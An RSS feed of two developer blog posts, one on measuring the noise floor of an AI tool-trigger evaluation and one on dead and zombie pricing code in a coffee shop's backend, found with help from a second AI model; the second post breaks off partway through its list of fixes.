<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dexterlung</title>
    <description>The latest articles on DEV Community by Dexterlung (@dexterlung).</description>
    <link>https://dev.to/dexterlung</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4029426%2F0d3f03e5-03d2-46ff-975f-c565c23e82ce.jpg</url>
      <title>DEV Community: Dexterlung</title>
      <link>https://dev.to/dexterlung</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/dexterlung"/>
    <language>en</language>
    <item>
      <title>Two identical runs scored 89 and 89. Two cases had flipped.</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Fri, 11 Sep 2026 14:05:10 +0000</pubDate>
      <link>https://dev.to/dexterlung/two-identical-runs-scored-89-and-89-two-cases-had-flipped-3in3</link>
      <guid>https://dev.to/dexterlung/two-identical-runs-scored-89-and-89-two-cases-had-flipped-3in3</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Read on: &lt;a href="https://dev.to/content/slimming-skill-descriptions-ab-test-en"&gt;the A/B test this corrects&lt;/a&gt; · &lt;a href="https://dev.to/content/noise-floor-two-identical-runs"&gt;繁體中文版&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Two weeks ago I published an A/B test: I cut 41 AI tools' self-descriptions roughly in half, then ran a behavioural question bank against both versions to check that trigger rate hadn't dropped. Before: 88/96. After: 90/96.&lt;/p&gt;

&lt;p&gt;I wrote this sentence about it:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;±2 cases at this sample size is noise, so I am &lt;strong&gt;not&lt;/strong&gt; claiming it got better.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A reader named Vinh Nguyen replied, and the reply amounted to one question: &lt;strong&gt;how do you know?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;He was precise about it. Three votes per case, majority wins, so any case sitting near the 2-1 boundary can flip on sampling alone. There was a between-arm delta with no within-arm noise floor to measure it against. And "three up, one down" — exactly what my four movers looked like — is the shape churn produces.&lt;/p&gt;

&lt;p&gt;He was right. That sentence was an assertion, not a measurement. It is also the same move the post spends two thousand words criticising: claiming a property of a system without observing it. I made it in the one paragraph where I was grading my own work.&lt;/p&gt;

&lt;p&gt;So I ran his experiment. The part I didn't expect is that it cuts in two directions at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  First I went looking for the answer I'd already paid for
&lt;/h2&gt;

&lt;p&gt;Before spending anything, I checked whether I could bound the churn retroactively from the run I had already done. The harness makes three calls per case and takes the majority, so it necessarily computes "2 of 3" or "3 of 3" somewhere. Count the 2-of-3 cases and you have an upper bound on how many could flip — for free.&lt;/p&gt;

&lt;p&gt;I couldn't. And the reason has a nastier shape than "it wasn't recorded."&lt;/p&gt;

&lt;p&gt;The harness &lt;strong&gt;does&lt;/strong&gt; compute the vote split, and it &lt;strong&gt;does&lt;/strong&gt; print it — for cases that failed. A case that passed 2-1 prints nothing at all. The JSON output aggregates to per-skill pass/total and drops every split.&lt;/p&gt;

&lt;p&gt;So the one shape that actually flips under sampling — the narrow pass — is precisely the shape no layer of that tool had ever shown me. The instrument was blind in the exact direction that produces reassurance. Failures got scrutiny; lucky wins got a checkmark.&lt;/p&gt;

&lt;p&gt;I fixed that first, because it is the cheap half and it makes every future round free to interpret. Per-case vote counts now survive into the JSON, and the human-readable run ends with a count of non-unanimous cases. Then I checked the fix the way I should have checked the original claim: forced every case to 2-of-3 and confirmed the new line moved from "0 split" to "4 split." It reads the real votes. It isn't printing a constant.&lt;/p&gt;

&lt;h2&gt;
  
  
  The baseline
&lt;/h2&gt;

&lt;p&gt;Same commit, same question bank, same model, same machine, same afternoon. The unchanged arm, twice, with nothing touched in between. 96 cases, 288 calls per run.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Run 1&lt;/th&gt;
&lt;th&gt;Run 2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Total passed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;89 / 96&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;89 / 96&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cases that flipped between the two runs&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Read those two rows together, because the gap between them is the whole point. &lt;strong&gt;The score is identical. Two cases flipped anyway&lt;/strong&gt; — one up, one down, cancelling exactly.&lt;/p&gt;

&lt;p&gt;If I had run the same arm twice and looked only at the total, I would have concluded the harness was perfectly stable. It isn't. It has a floor of about 2, and the total-score view is structurally incapable of showing it, because flips in opposite directions erase each other before they reach the number I was reading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So my +2 sits exactly on the floor.&lt;/strong&gt; The sentence in my post happened to land on the right answer for a reason I had not earned.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the noise actually lives
&lt;/h2&gt;

&lt;p&gt;This is the part I'd want if I were reading someone else's post.&lt;/p&gt;

&lt;p&gt;My question bank has three kinds of case per skill: should-trigger, should-NOT-trigger, and a boundary case. Splitting the two flips by kind:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Case kind&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;Flipped&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;should-trigger&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;should-NOT-trigger&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;boundary&lt;/td&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;All of the variance is in the negatives.&lt;/strong&gt; Zero flips in 48 positive cases, zero in 24 boundary cases, both flips in the 24 negatives.&lt;/p&gt;

&lt;p&gt;In hindsight it's obvious. "This sentence is obviously asking for that tool" is a strongly determined decision. "This sentence should not reach for that tool" is a decision made against 116 competitors, and it's soft.&lt;/p&gt;

&lt;p&gt;Which means my question bank spends 75% of its budget on the categories carrying none of the noise. &lt;strong&gt;If I want a future A/B to be readable, the fix is more negative cases, not more rounds.&lt;/strong&gt; I would not have guessed that, and no amount of staring at the total would have suggested it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bad news, which is also the interesting news
&lt;/h2&gt;

&lt;p&gt;I flagged one skill in the original post as "the one to watch" — the one I had compressed hardest, which lost a case.&lt;/p&gt;

&lt;p&gt;It's still down. Both of today's runs put it at 3/4, and the case it loses comes back &lt;strong&gt;0 of 3&lt;/strong&gt; — unanimous failure, twice, seventeen days later. And it is a &lt;em&gt;positive&lt;/em&gt; case, which is the category where the noise produced zero flips all day.&lt;/p&gt;

&lt;p&gt;To be sure that signature meant what I thought, I ran a deliberate control. I took six skills whose descriptions the original disciplined trim could only compress by under 20% — meaning they had almost no redundancy left — and force-cut each by roughly 64%, the same ratio as the one that broke. If over-trimming has a signature, this should produce it.&lt;/p&gt;

&lt;p&gt;It did, loudly. Those six went from 23/24 and 22/24 down to &lt;strong&gt;19/24&lt;/strong&gt;, and one of them collapsed from 4/4 to 1/4. Three separate cases fell from 3/3 to 0/3 or 1/3, &lt;strong&gt;every one of them positive or boundary&lt;/strong&gt; — none in the negatives where the noise lives.&lt;/p&gt;

&lt;p&gt;So real damage and churn do not look alike once you can see the votes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Churn&lt;/strong&gt; is a &lt;em&gt;negative&lt;/em&gt; case wobbling between 1-of-3 and 2-of-3.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Damage&lt;/strong&gt; is a &lt;em&gt;positive&lt;/em&gt; case collapsing to unanimous failure and staying there.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A total score cannot tell those apart. That's not a subtle limitation. In my case the aggregate said "no systematic decline," and it was true, &lt;em&gt;and&lt;/em&gt; it was concealing a genuine regression, because one real loss and several noise-driven gains summed to approximately nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The threshold question
&lt;/h2&gt;

&lt;p&gt;The other commenter, Kane Lim, proposed that the 64% case suggested a practical threshold — a point where compression starts removing semantic signal rather than redundant text.&lt;/p&gt;

&lt;p&gt;The control answers this, and sharpens it. The same 64% cut cost one case on the skill in the original post, and three cases on a skill in the control. &lt;strong&gt;The ratio was identical. The outcome was not.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The difference is what the 64% removed. The skill I could compress that far with discipline could be compressed that far &lt;em&gt;because&lt;/em&gt; most of its 689 characters were restatement of a six-layer rule. On a description that is already tight, reaching 64% means cutting into signal — there is nothing else left to take.&lt;/p&gt;

&lt;p&gt;Which inverts how I had been reading the number. &lt;strong&gt;Compression ratio isn't a risk driver. It's a measurement of how much redundancy was there to begin with&lt;/strong&gt; — and I had been treating a symptom as a cause. The two variables aren't merely confounded, they're mechanically linked: how far a disciplined trim can go &lt;em&gt;is&lt;/em&gt; the redundancy. Across my 24 skills the achievable ratio ran from 3% to 64%, and exactly one exceeded 49%.&lt;/p&gt;

&lt;p&gt;And a correction I owe the original post. I wrote: &lt;em&gt;"everything I cut by 30% held steady. The only one that moved was the one I cut by 64%."&lt;/em&gt; That's wrong on my own data. The four skills that moved were cut by 64%, 49%, 48%, and &lt;strong&gt;17%&lt;/strong&gt;. The 17% one moved by exactly as much as the 64% one. The table proving it sat two paragraphs above the sentence.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd take from this
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run the same arm twice before you compare two arms.&lt;/strong&gt; It cost about a dollar. It reclassified two of my conclusions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A total score is a lossy summary, and it's lossy in a specific direction:&lt;/strong&gt; opposite-direction flips cancel, so the aggregate systematically &lt;em&gt;understates&lt;/em&gt; instability. Two runs scoring 89 and 89 hid two real flips.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Record the vote split per case, not just pass/fail.&lt;/strong&gt; Anything that takes a majority is discarding the number that says how close it was. And if your tooling prints the split only for failures — mine did — then the flip-prone narrow &lt;em&gt;pass&lt;/em&gt; is the one thing you can never see.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sort your cases by kind and check where the variance actually sits.&lt;/strong&gt; Mine was 100% in one category holding 25% of the budget.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A stable unanimous failure is readable at n=1.&lt;/strong&gt; You don't always need a bigger sample; sometimes you need a less lossy instrument. 0-of-3 twice is a signal. 2-of-3 once is not.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What this doesn't establish
&lt;/h2&gt;

&lt;p&gt;Two runs give a point estimate of the floor, not a distribution — I know the floor is about 2, not that it is 2. The over-cut control was a single arm, single round; its individual collapses are strong, but its total is subject to the same ±2. The six skills I over-cut were selected by a proxy — "the disciplined trim could only compress them under 20%" — which measures how tight a description is, not how narrow a skill's scope is, and scope was Kane's actual question. I also chose &lt;em&gt;how&lt;/em&gt; to cut them, keeping the opening trigger sentence and dropping identifiers and symptom phrases; a different cut might land differently.&lt;/p&gt;

&lt;p&gt;One last thing, since it's the same failure as everything above. When I went to report what these runs cost, I found the harness doesn't print its cost block in JSON mode — that code sits in the other branch. So the actual spend for the three runs was never recorded, and the roughly US$1.2 I quoted is extrapolated from a single-skill run. Third instance in one day of the same defect: &lt;strong&gt;a number that was computed, and then dropped by one output path.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the thing worth keeping. Not "measure your noise floor" — that's just good practice. It's that my instrument computed the answer to Vinh's question, printed it selectively in the direction that flattered me, and dropped it everywhere else. Nobody was going to find that from the outside. It took a stranger asking one question I couldn't answer.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/noise-floor-two-identical-runs-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-noise-floor-two-identical-runs-en" rel="noopener noreferrer"&gt;Two identical runs scored 89 and 89. Two cases had flipped.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
      <category>learning</category>
    </item>
    <item>
      <title>Dead Code Is More Dangerous Than Broken Code — How a Non-Homologous AI Caught the Blind Spot the AI Itself Had Rubber-Stamped</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Wed, 09 Sep 2026 13:05:14 +0000</pubDate>
      <link>https://dev.to/dexterlung/dead-code-is-more-dangerous-than-broken-code-how-a-non-homologous-ai-caught-the-blind-spot-the-ai-j45</link>
      <guid>https://dev.to/dexterlung/dead-code-is-more-dangerous-than-broken-code-how-a-non-homologous-ai-caught-the-blind-spot-the-ai-j45</guid>
      <description>&lt;h2&gt;
  
  
  Dead Code Is More Dangerous Than Broken Code
&lt;/h2&gt;

&lt;h2&gt;
  
  
  The opening: an AI confidently told me to reuse a capability that didn't exist
&lt;/h2&gt;

&lt;p&gt;Here's how it started.&lt;/p&gt;

&lt;p&gt;I was adding a small feature to my own coffee e-commerce store: let a customer pick a fresh combination of beans over chat, price it on the spot, and order it. The chat-ordering bot was already built — I'd even tested balance deduction on a real device. All I needed was one more piece: something on the backend to compute the price, because the amount can't be whatever the phone says it is.&lt;/p&gt;

&lt;p&gt;I handed the repo to my main AI (Opus, my daily driver) and asked whether the backend already had pricing logic I could reuse. It scanned the code and came back fast:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The backend has &lt;code&gt;pricingLogic.ts&lt;/code&gt; — the pricing logic lives there. Just reuse it."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sounds reasonable. The file really does exist. Open it and there really is a pile of price-computing code inside. Anyone reading the code — me, the AI, anyone — lands on the same conclusion at first glance: &lt;strong&gt;the backend has pricing capability, just wire it up.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One problem. That code &lt;strong&gt;had not compiled a single time in six months.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From the day it was born (&lt;code&gt;git blame&lt;/code&gt; says 2026-01-11) it was missing a closing &lt;code&gt;}&lt;/code&gt; — the &lt;code&gt;CartItem&lt;/code&gt; type literally couldn't close. The frontend test runner doesn't compile the backend's TypeScript, and the audit suite doesn't touch backend functions, so no gate had ever gone near it. It just sat there quietly, in the exact spot where "backend pricing logic" should live, for half a year. At one point another change even passed through it and added a line — the person making the change had no idea they were editing a file that doesn't compile.&lt;/p&gt;

&lt;p&gt;The main AI wasn't bluffing. The world it read was real: the file exists, the code inside is real pricing code. It just &lt;strong&gt;had no way to tell, from the source tree, that this thing was dead.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My gut said stop: don't build on a foundation that drifts. Nail down the truth about pricing first — and, crucially, &lt;strong&gt;bring in a "non-homologous" model to diagnose it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What that diagnosis dug up was far worse than I expected. It didn't just overturn the main AI's advice; it exposed a structural blind spot in my entire governance setup. That blind spot is what this post is about.&lt;/p&gt;




&lt;h2&gt;
  
  
  What "existential rot" is
&lt;/h2&gt;

&lt;p&gt;When we say "bad code," we usually picture &lt;strong&gt;broken code&lt;/strong&gt;: it computes wrong, throws errors, blows up mid-run. Broken code has one virtue — it makes noise. It crashes, someone reports it, it gets fixed.&lt;/p&gt;

&lt;p&gt;But the four things this diagnosis surfaced don't crash. Not one. They're a different kind of rot, and I've started calling it &lt;strong&gt;existential rot&lt;/strong&gt;: the problem isn't "it does the wrong thing," it's "it exists, does nothing, and lets everyone believe it's doing something."&lt;/p&gt;

&lt;p&gt;Four faces of it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Dead code (born broken, never compiled).&lt;/strong&gt; That &lt;code&gt;pricingLogic.ts&lt;/code&gt;. Missing a bracket, six months without compiling, zero production impact. It isn't "broken" — it &lt;strong&gt;never lived&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A deployed zombie (frozen on an old version).&lt;/strong&gt; The backend has &lt;em&gt;another&lt;/em&gt; pricing function that actually is deployed and live. The live version was v55, a snapshot from March. I sent it a real item with a price of 100 — it returned &lt;strong&gt;$0&lt;/strong&gt;. The source had moved on several versions, but the live one is frozen in March, and wrong. Better yet: it has zero callers, so nobody will ever feel pain from it returning $0.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. A phantom implementation (the Nth parallel copy).&lt;/strong&gt; Hidden in the repo was a &lt;em&gt;fourth&lt;/em&gt; pricing implementation — a fictional percentage-discount model. Exactly one place imports it: &lt;strong&gt;its own test file.&lt;/strong&gt; All tests green. The green proves "it agrees with itself," not "it agrees with reality."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. A defense with no reader (a warn-only log nobody reads).&lt;/strong&gt; I'd added a warn-only amount-recomputation check on the database side that logs suspicious orders to a table. Sounds responsible. But that table had exactly two rows — both from my own smoke test — and &lt;strong&gt;nothing in the entire repo, no sentinel, no script, no human, reads that table.&lt;/strong&gt; The defense is written, but there's no return path.&lt;/p&gt;

&lt;p&gt;Put these four side by side and they form the &lt;em&gt;entire truth&lt;/em&gt; of "backend pricing capability" in my system: &lt;strong&gt;one living body, three zombies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The only thing actually computing money, start to finish, was one place — &lt;code&gt;cartPriceCalculator.js&lt;/code&gt;, running in the customer's browser. The three backend copies were all decorations occupying the spot.&lt;/p&gt;




&lt;h2&gt;
  
  
  The real root cause: pricing authority actually lives in the browser
&lt;/h2&gt;

&lt;p&gt;Why can "a pricing implementation with no consumer" survive this long?&lt;/p&gt;

&lt;p&gt;I read the body of the order-creation stored procedure by hand, and the answer is ugly: it &lt;strong&gt;takes the front end's already-computed&lt;/strong&gt; &lt;code&gt;subtotal&lt;/code&gt;, &lt;code&gt;total_amount&lt;/code&gt;, and &lt;code&gt;unit_price&lt;/code&gt; &lt;strong&gt;verbatim&lt;/strong&gt;. The payment side looks safe — it reads &lt;code&gt;orders.total_amount&lt;/code&gt; from the database — but that value is the one the front end stuffed in.&lt;/p&gt;

&lt;p&gt;In other words, in this architecture &lt;strong&gt;pricing authority de facto lives in the browser&lt;/strong&gt; (client-authoritative computation). The server just copies down the number the phone computed and files it.&lt;/p&gt;

&lt;p&gt;Once that's true, any backend pricing code becomes a &lt;strong&gt;structural decoration&lt;/strong&gt;: wiring it in costs extra effort, and &lt;em&gt;not&lt;/em&gt; wiring it in changes nothing. A decoration never gets traffic-tested — no real order passes through it, hits it, translates its error into "the customer paid too little," the kind of thing that hurts. So it can rot without detection and drift without limit.&lt;/p&gt;

&lt;p&gt;Which is exactly why my initial gut was right: &lt;strong&gt;the "align the two copies" prescription the main AI wrote was a prescription to repair a corpse.&lt;/strong&gt; Until you answer "who's going to call it, which version deploys, which copies get killed," aligning dead code to the living body just makes the corpse look more alive.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why my governance saw none of this
&lt;/h2&gt;

&lt;p&gt;Here's the part I actually wanted to write down.&lt;/p&gt;

&lt;p&gt;My governance isn't weak. There are locked cross-layer traces, there are commit-blocking hard rules, there's a whole audit suite. The top pricing dark-zone had &lt;em&gt;already&lt;/em&gt; been registered, trace-locked (I'll call it trace T-029), given 24 tests, all green, with the word &lt;code&gt;locked&lt;/code&gt; sitting right there in the registry — back on 2026-06-06.&lt;/p&gt;

&lt;p&gt;And then the darkest part of that dark zone &lt;strong&gt;kept rotting, untouched.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I eventually saw why. Almost all of my defenses are &lt;strong&gt;change-triggered&lt;/strong&gt; — they only fire when you &lt;strong&gt;touch a registered node.&lt;/strong&gt; A trace test runs when you edit a file on the trace; a blocker fires when you commit; an audit lights up red when you modify the thing it watches.&lt;/p&gt;

&lt;p&gt;But the whole class of "existential rot" &lt;strong&gt;doesn't require anyone to touch anything&lt;/strong&gt; to persist. The dead code lies there, the zombie stays frozen, the phantom chews its own tail, the reader-less log quietly accumulates — none of it trips a single "change detector."&lt;/p&gt;

&lt;p&gt;The lamp T-029 lit was the &lt;em&gt;front-end price-resolution convergence point&lt;/em&gt;. The "backend copy," the "deployed bundle," the "rule-loading layer" — three surfaces that were simply not in that lamp's beam. It got flagged, locked, 24 tests green — and the darkest part never got touched.&lt;/p&gt;

&lt;p&gt;What I was missing wasn't "one more change-triggered rule." It was an &lt;strong&gt;existence constraint&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Any implementation that claims to compute money, to defend, or to be a single source of truth must have (a) a live consumer, and (b) a confrontation witness. Missing either one → retire it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Side note: this also fits a gap I'd already written down — my system only &lt;em&gt;adds&lt;/em&gt; features, it never &lt;em&gt;removes&lt;/em&gt; them (things only go in, never out). And "has no witness" turns out to be an objective test for "should have been retired but wasn't."&lt;/p&gt;




&lt;h2&gt;
  
  
  Why it had to be a &lt;em&gt;non-homologous&lt;/em&gt; model
&lt;/h2&gt;

&lt;p&gt;Back to the key decision: why did I insist on a different model, instead of asking the same AI to check again?&lt;/p&gt;

&lt;p&gt;Because the main AI wasn't short on ability. It was &lt;strong&gt;trapped by the same ready-made narrative.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"This file is named &lt;code&gt;pricingLogic.ts&lt;/code&gt;, it has pricing code inside, therefore the backend has pricing capability" — that's a story too smooth, too reasonable; it fills your cognition. Whereas "does it even compile? does anyone call it? is that the version that's deployed?" is a &lt;strong&gt;backward-looking, declarative question&lt;/strong&gt; that will &lt;em&gt;not&lt;/em&gt; jump up and knock when you're about to reuse a file.&lt;/p&gt;

&lt;p&gt;A homologous model colludes. Ask it to look again and it'll most likely re-read "the repo has this file" as "the capability exists" a second time, because it's running the same inference reflex as the first time. That's not stupidity — it's an instrument problem. &lt;strong&gt;The source tree is the instrument's testimony, not the fact of the world&lt;/strong&gt; (the actual runtime behavior).&lt;/p&gt;

&lt;p&gt;Switch to a non-homologous model (I used one from a different family) and the effect is like bringing in an outsider who never bought your narrative to review the code. The first thing it does is not &lt;em&gt;trust&lt;/em&gt; the repo — it goes and &lt;strong&gt;confronts&lt;/strong&gt; it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It ran a real compiler over the dead code — instant red. Hard proof: "never compiled."&lt;/li&gt;
&lt;li&gt;It sent real input to the live function — got back $0. Hard proof: "deployed zombie computes wrong."&lt;/li&gt;
&lt;li&gt;It grepped for callers of those "canonical" functions on the production path — zero. Hard proof: "no consumer."&lt;/li&gt;
&lt;li&gt;It read the order-creation procedure body by hand — saw it take the front-end price verbatim. Hard proof: "authority lives in the browser."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It even corrected the main AI's &lt;em&gt;diagnosis name&lt;/em&gt;: this isn't two implementations "drifting" (drift = two living things gradually diverging). This is &lt;strong&gt;necrosis plus a split truth&lt;/strong&gt; — a piece of dead code that never lived, a zombie frozen in March, zero callers. Different name → completely different prescription.&lt;/p&gt;

&lt;p&gt;The value of non-homologous diagnosis, in one line: &lt;strong&gt;it's the vaccine against self-rubber-stamped green lights.&lt;/strong&gt; When a system (including an AI) blesses itself, the most effective mirror isn't making it look at itself harder — it's introducing a confronter that doesn't collude.&lt;/p&gt;




&lt;h2&gt;
  
  
  Six green lights, not one of them watching the load-bearing thing
&lt;/h2&gt;

&lt;p&gt;During the diagnosis I did something I think everyone with a test suite should do occasionally: pull out every "green light" and ask each one — &lt;strong&gt;what load-bearing thing did you actually, positively observe?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The result (all of this is re-checkable):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Green light&lt;/th&gt;
&lt;th&gt;What it claims&lt;/th&gt;
&lt;th&gt;What it actually saw&lt;/th&gt;
&lt;th&gt;Verdict&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pricing tests all green&lt;/td&gt;
&lt;td&gt;"Business rules are test-protected"&lt;/td&gt;
&lt;td&gt;A fictional model with zero production callers chewing its own tail&lt;/td&gt;
&lt;td&gt;False green&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;T-029 trace 24 green + &lt;code&gt;locked&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;"Pricing SSOT is locked"&lt;/td&gt;
&lt;td&gt;Only the front-end resolvers' fallback — not the compute core, not the backend, not rule-loading&lt;/td&gt;
&lt;td&gt;Half true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Edge-function smoke passes&lt;/td&gt;
&lt;td&gt;"The pricing function works"&lt;/td&gt;
&lt;td&gt;HTTP 200 + &lt;code&gt;success:true&lt;/code&gt; — returning $0 is also a 200&lt;/td&gt;
&lt;td&gt;False green (checks the status code, not the amount)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warn-only defense shipped&lt;/td&gt;
&lt;td&gt;"The DB side has a recompute defense"&lt;/td&gt;
&lt;td&gt;Two log rows, both self-inflicted, nobody reads it&lt;/td&gt;
&lt;td&gt;Defense exists, no return path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Migration header "not applied this batch"&lt;/td&gt;
&lt;td&gt;"Prod wasn't touched by this"&lt;/td&gt;
&lt;td&gt;Prod &lt;em&gt;was&lt;/em&gt; applied&lt;/td&gt;
&lt;td&gt;Doc narrative decoupled from prod&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Front end priced successfully&lt;/td&gt;
&lt;td&gt;"The user sees the correct price"&lt;/td&gt;
&lt;td&gt;On RPC failure it silently falls back and prices anyway&lt;/td&gt;
&lt;td&gt;Silent degradation, no alert&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Six lights, each making you feel "someone's minding this surface." But &lt;strong&gt;not one of them ever positively observed the one thing that's actually load-bearing&lt;/strong&gt;: two runtimes computing the same number for the same cart.&lt;/p&gt;

&lt;p&gt;Here's the line I took away and want to nail to the wall: &lt;strong&gt;a green light with no witness proves "nobody's looking," not "it's correct."&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The fix: let the zombies die all the way first, then give the living body witnesses
&lt;/h2&gt;

&lt;p&gt;Once the framing was overturned, the fix got clear. The principle was "move logic only, don't change a single price." Three steps:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: let the zombies die all the way.&lt;/strong&gt; Both dead copies got deleted and retired. No aligning, no repairing — a zero-consumer corpse doesn't deserve a minute of your time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: extract the one living body into a single core.&lt;/strong&gt; I pulled the one algorithm that actually computes money out of the front end into a pure-function core (zero imports, computes and returns, touches nothing outside). The front end became "load rules → hand to the core." The backend function was rewritten to "resolve rules → hand to the &lt;em&gt;same&lt;/em&gt; core." One logic, both runtimes delegating to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — the real point this time — give it three witnesses.&lt;/strong&gt; Sharing one import isn't enough; it only kills the "copy-paste" axis of drift. There's a nastier axis: &lt;strong&gt;deploy lag.&lt;/strong&gt; The same source, front end shipping the latest, backend frozen in March — that's two truths. A shared import can't catch that. Only one thing can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A parity witness:&lt;/strong&gt; feed the &lt;em&gt;same&lt;/em&gt; batch of inputs to the front-end path and the backend path, compare outputs row by row. I prepared six cart "battery" cases (cross-tier VIP, gift-box volume, tiered discount, buy-X-get-Y, etc.), froze the &lt;em&gt;pre&lt;/em&gt;-refactor live output as a golden baseline, and any change that moves a single dollar goes red.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A live deploy-lag witness:&lt;/strong&gt; hit the &lt;em&gt;actually deployed&lt;/em&gt; version over HTTP and compare it against the local core, row by row. This is the only edge that can see "frozen on an old version." First run, it immediately spat out 3-of-3 mismatches against live v55 — proof the detector is alive and working.&lt;/li&gt;
&lt;li&gt;
